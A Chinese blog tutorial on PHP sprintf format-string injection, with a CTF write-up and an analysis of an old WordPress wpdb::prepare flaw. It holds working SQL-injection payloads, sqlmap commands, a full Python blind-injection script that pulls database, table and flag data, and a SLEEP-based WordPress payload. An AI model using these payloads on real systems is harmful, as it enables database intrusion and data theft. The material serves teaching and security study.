深入解析sprintf格式化字符串漏洞

深入解析sprintf格式化字符串漏洞

0x00 前言

從相遇到相識

從相識到相知

.........

不過你真的懂ta嗎

這次故事的主角是PHP中的格式化函數sprintf

 

0x01 sprintf()講解

 

首先我們先了解sprintf()函數

sprintf() 函數把格式化的字符串寫入變量中。

sprintf(format,arg1,arg2,arg++)

arg1arg2++ 參數將被插入到主字符串中的百分號(%)符號處。該函數是逐步執行的。在第一個 % 符號處,插入 arg1,在第二個 % 符號處,插入 arg2,依此類推。

註釋:如果 % 符號多於 arg 參數,則您必須使用佔位符。佔位符位於 % 符號之後,由數字和 "\$" 組成。

詳細看一下sprintf的用法

語法

sprintf(format,arg1,arg2,arg++)

參數

描述

format

必需。規定字符串以及如何格式化其中的變量。

可能的格式值:

%% - 返回一個百分號 %

%b - 二進制數

%c - ASCII 值對應的字符

%d - 包含正負號的十進制數(負數、0、正數)

%e - 使用小寫的科學計數法(例如 1.2e+2)

%E - 使用大寫的科學計數法(例如 1.2E+2)

%u - 不包含正負號的十進制數(大於等於 0)

%f - 浮點數(本地設置)

%F - 浮點數(非本地設置)

%g - 較短的 %e 和 %f

%G - 較短的 %E 和 %f

%o - 八進制數

%s - 字符串

%x - 十六進制數(小寫字母)

%X - 十六進制數(大寫字母)

附加的格式值。必需放置在 % 和字母之間(例如 %.2f):

+ (在數字前面加上 + 或 - 來定義數字的正負性。默認情況下,只有負數才做標記,正數不做標記)

' (規定使用什麼作爲填充,默認是空格。它必須與寬度指定器一起使用。例如:%'x20s(使用 "x" 作爲填充))

- (左調整變量值)

[0-9] (規定變量值的最小寬度)

.[0-9] (規定小數位數或最大字符串長度)

註釋:如果使用多個上述的格式值,它們必須按照以上順序使用。

arg1

必需。規定插到 format 字符串中第一個 % 符號處的參數。

arg2

可選。規定插到 format 字符串中第二個 % 符號處的參數。

arg++

可選。規定插到 format 字符串中第三、四等 % 符號處的參數。

 

返回值:

返回已格式化的字符串。

PHP 版本:

4+

通過幾個例子回顧一下sprintf

例子1:

<?php
$number = 123;
$txt = sprintf("帶有兩位小數:%1\$.2f<br>不帶小數:%1\$u",$number);
echo $txt;
?>

輸出結果:

帶有兩位小數:123.00 

不帶小數:123

 

例子2:

<?php
$num1 = 123456789;
$num2 = -123456789;
$char = 50;
// ASCII 字符 50 是 2
//註釋:格式值 "%%" 返回百分號
echo sprintf("%%b = %b",$num1)."<br>"; // 二進制數
echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符
echo sprintf("%%s = %s",$num1)."<br>"; // 字符串
echo sprintf("%%x = %x",$num1)."<br>"; // 十六進制數(小寫)
echo sprintf("%%X = %X",$num1)."<br>"; // 十六進制數(大寫)
?>

輸出結果:

%b = 111010110111100110100010101

%c = 2 //注意var_dump('2')爲string

%s = 123456789

%x = 75bcd15

%X = 75BCD15

 

0x02 sprintf注入原理

 

我們來看一下sprintf()的底層實現方法

switch (format[inpos]) {
case 's':
    {
        zend_string * t;
        zend_string * str = zval_get_tmp_string(tmp, &t);
        php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
        zend_tmp_string_release(t);
        break;
    }
case 'd':
    php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
    break;
case 'u':
    php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
    break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
    php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
    break;
case 'c':
    php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
    break;
case 'o':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
    break;
case 'x':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
    break;
case 'X':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
    break;
case 'b':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
    break;
case '%':
    php_sprintf_appendchar( & result, &outpos, '%');
    break;
default:
    break;
}

 

可以看到, php源碼中只對15種類型做了匹配, 其他字符類型都直接break了,php未做任何處理,直接跳過,所以導致了這個問題:

沒做字符類型檢測的最大危害就是它可以吃掉一個轉義符\, 如果%後面出現一個\,那麼php會把\當作一個格式化字符的類型而吃掉\, 最後%\(或%1$\)被替換爲空

 

因此sprintf注入,或者說php格式化字符串注入的原理爲:

要明白%後的一個字符(除了%,%上面表格已經給出了)都會被當作字符型類型而被吃掉,也就是被當作一個類型進行匹配後面的變量,比如%c匹配asciii碼,%d匹配整數,如果不在定義的也會匹配,匹配空,比如%\,這樣我們的目的只有一個,使得單引號逃逸,也就是能夠起到閉合的作用

 

這裏我們舉兩個例子

NO.1

不使用佔位符號

<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo  sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此時%\回去匹配admin字符串,但是%\只會匹配空

運行後的結果

select * from user where username = '' and 1=1#'

 

NO.2

使用佔位符號

<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//對$input與$b進行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明顯,這個句子裏面的\是由addsashes爲了轉義單引號而加上的,使用%s與%1$\類匹配admin,那麼admin只會出現在%s裏,%1$\爲空
echo  $sql ;

運行後的結果

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

 

對於這個問題,我們還可以這樣寫

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

//result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一個格式化處匹配時爲空,會讓給後面的格式化匹配

 

以上兩個例子是吃掉'\'來使得單引號逃逸出來

下面這個例子我們構造單引號

 

NO.3

對%c進行利用

<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

%c起到了類似chr()的效果,將數字39轉化爲,從而導致了sql注入。

所以結果爲:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

 

總結

漏洞利用條件

1、sql語句進行了字符拼接

2、拼接語句和原sql語句都用了vsprintf/sprintf 函數來格式化字符串

 

 

0x03 題目訓練

形式很像SQL注入,而且題目中提示爲SQLI

先試了一下弱口令,確定username爲admin

那麼就對username與password進行注入,開始普通注入,二次解碼,寬字節,過濾空格,過濾關鍵字等姿勢進行構造注入語句都無果,而且還耗費大量的時間,不過後來get到一種新姿勢,使用burpsuit的intruder跑一下,來查看那些字母或者字符沒有被過濾掉(waf字典)

後來發現%可疑,於是拿出來repeater一下

sprintf函數出錯,那麼sprintf是什麼?格式化字符串,於是乎就懂得其中的原理了,是讓單引號逃逸

構造username=admin%1$\' and 1=2# 與 username=admin%1$\' and 1=1#

發現如下的結果

 

可以發現'後面的語句帶入執行了,這就是注入點,使用sqlmap跑一下

抓去post包

python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

對ctf庫跑tables

得到

對flag跑columns

得到

對每個列進行dump但是dump下來不對,找了一波原因沒有找到,開始用腳本跑

跑完後才發現sqlmap跑出來的列不對,應該是flag,於是

python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

纔得到正確結果 :) (希望能得到大佬們的指正)

下面是腳本跑的

中心思想

先判斷length

然後使用ascii判斷字母

ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"

使用這個語句進行判斷

 

碼:

#coding:utf-8
import requests
import string

def boom():
    url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'
    s = requests.session()
	//會話對象requests.Session能夠跨請求地保持某些參數,比如cookies,即在同一個Session實例發出的所有請求都保持同一個cookies,而requests模塊每次會自動處理cookies,這樣就很方便地處理登錄時的cookies問題。
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!'
    lens = 0
    i = 0
	//確定當前數據庫的長度
    while True:
        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
        data={'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens=i
            break
        i+=1
        pass
    print("[+]length(database()): %d" %(lens))
	//確定當前數據庫的名字
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]database():%s" %(strs))

    lens=0
    i = 1
    while True:
        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
		//對當前的數據庫,查詢第一個表的長度
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(table): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
			// 數字一定要str纔可以傳入
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
	//編碼爲16進制
    table_name = strs

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(column): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs
	
    num=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            num = i
            break
        i+=1
        pass
    print("[+]number(column): %d" %(num))

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(value): %d" %(lens))

    i=1    
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':'1'}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]flag:%s" %(strs))

if __name__ == '__main__':
    boom()
    print 'Finish!'


 

0x04 Wordpress格式化字符串漏洞

 

wordpress版本小於4.7.5在後臺圖片刪除的地方存在一處格式化字符串漏洞

官方在4.7.6已經給出了補救辦法

在我們即將要說的地方增加了這麼一端代碼

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允許 %後面出現dsF 這三種字符類型, 其他字符類型都替換爲%%\\1, 而且還禁止了%$ 這種參數定位

 

首先

我們找到upload.php

可以發現在deleta中 $post_id_del(比如int()) 未經過處理,直接傳入

case 'delete':
    if ( !isset( $post_ids ) )
        break;
    foreach ( (array) $post_ids as $post_id_del ) {
        if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟進
            wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

        if ( !wp_delete_attachment( $post_id_del ) )
            wp_die( __( 'Error in deleting.' ) );
    }
    $location = add_query_arg( 'deleted', count( $post_ids ), $location );
    break;

跟進wp_delete_attachment( )函數

其中參數$post_id_del爲圖片的postid

wp_delete_attachment( )中 調用了delete_metadata 函數

function wp_delete_attachment( $post_id, $force_delete = false ) {
.......
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.
......
}

繼續跟進delete_metadata函數

漏洞觸發點主要在wp-includes/meta.php 的 delete_metadata函數裏面, 有如下代碼:

if ($delete_all) {
    $value_clause = '';
    if ('' !== $meta_value && null !== $meta_value && false !== $meta_value) {
        $value_clause = $wpdb - >prepare(" AND meta_value = %s", $meta_value);
    }
    $object_ids = $wpdb - >get_col($wpdb - >prepare("SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key));
}

 

調用了兩個prepare函數

跟進prepare函數

public function prepare( $query, $args ) {
	if ( is_null( $query ) )
        return;
    // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
    if ( strpos( $query, '%' ) === false ) {
        _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
    $args = func_get_args();
    array_shift( $args );
    // If args were passed as an array (as in vsprintf), move them up
    if ( isset( $args[0] ) && is_array($args[0]) )
        $args = $args[0];
    $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
    array_walk( $args, array( $this, 'escape_by_ref' ) );
    return @vsprintf( $query, $args );
}

 

詳細看prepare函數對傳入參數的處理過程

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

把'%s'替換爲%s,然後再把"%s"替換成%s,替換爲浮點數%F 把%s替換成 '%s'

最後再進行vsprintf( $query, $args );

對拼接的語句進行格式化處理

 

我們一步步分析

假設傳入的$meta_value爲'admin'

$wpdb->prepare( " AND meta_value = %s", $meta_value );

 

經過prepare函數處理後得到

vsprintf( " AND meta_value = '%s'",'admin')

=> AND meta_value = 'admin'

 

return到上一級函數後,繼續執行這一條拼接語句:

$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )

 

經過prepare函數處理後得到

vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'

 

看起來一切都很正常,毫無bug

但是我們可以思考一下,怎樣使其形成注入呢?或者說怎樣逃逸一個單引號?

在之前我們先看一下,可控變量 $post_id_del 的路線

$post_id_del => $post_id => $meta_value => $args => $query

顯然這裏面兩處admin都有單引號,而且兩處都與 $post_id_del 聯繫,如何來選擇?

 

對於第一處單引號

它是通過一次替換處理得到的,顯然是對單引號無法處理

對於第二處單引號

經過兩次的替換,(這裏的意思是執行了兩次的替換代碼,可能第二段代碼對他沒有起到實質性的作用,僅僅是去點單引號然後又加上單引號)

但是這一出經過了兩次處理是必須的,那麼我們是否能夠是構造出另一個單引號(此時第二處有三個單引號)就可以閉合前面的單引號了

 

最重要的是,第二次的替換處理的變量是可控的,因此要引入單引號,我們需要$meta_value含有%s

那麼第一次的結果爲

AND meta_value = 'X%sY'(其中XY爲未知量)

//這裏需要注意,爲什麼%s不被單引號圍起來,我看過一片博客,它是寫的'%s',這顯然是錯的,爲什麼呢?我們生成了'%s'是沒錯,不過還原一下過程就知道了,首先我們生成了AND meta_value = '%s',注意此時與$meta_value沒有半毛錢關係,後來的vsprintf後,才與$meta_value有了關係,原來的%s被替換成了X%sY,值得注意的是這裏的%s沒有經過任何處理,處理是在第二輪進行的,這是後話。

 

第二次後的結果爲

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'

對於第二處的%s我們先不要帶入格式化後的值,其實真實的語句應該爲:

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y'

 

分析到這裏,相信大家應該知道傳值($meta_value)使單引號逃逸出來了吧

 

admin顯然是多餘的,那麼我們需要把它放在單引號裏面,因此第二個單引號需要去掉,那麼第四個單引號需要註釋掉,這就很輕而易舉地構造sql語句

AND meta_value = 'Xadmin'Y

Y裏面就是我們注入的代碼

 

怎麼去傳值呢?

利用格式化字符串漏洞

 

去掉第二個單引號就需要使該單引號成爲%後的第一個字符,也就是%',但是我們還需要一個佔位符,%1$' 這樣就沒有報錯的去掉了該單引號

 

所以我們構造的payload爲

$meta_value = %1$%s AND SLEEP(5)#

=> AND meta_value = '%1$%s AND SLEEP(5)'

=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'

其中 %1$' =>

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'

成功利用該漏洞形成時間注入

 

現在我們說一下第四部分開頭的補救方法

後來官方在prepare函數加了這一代碼

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允許 %後面出現dsF 這三種字符類型, 其他字符類型都替換爲%%\\1, 而且還禁止了%$ 這種參數定位

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章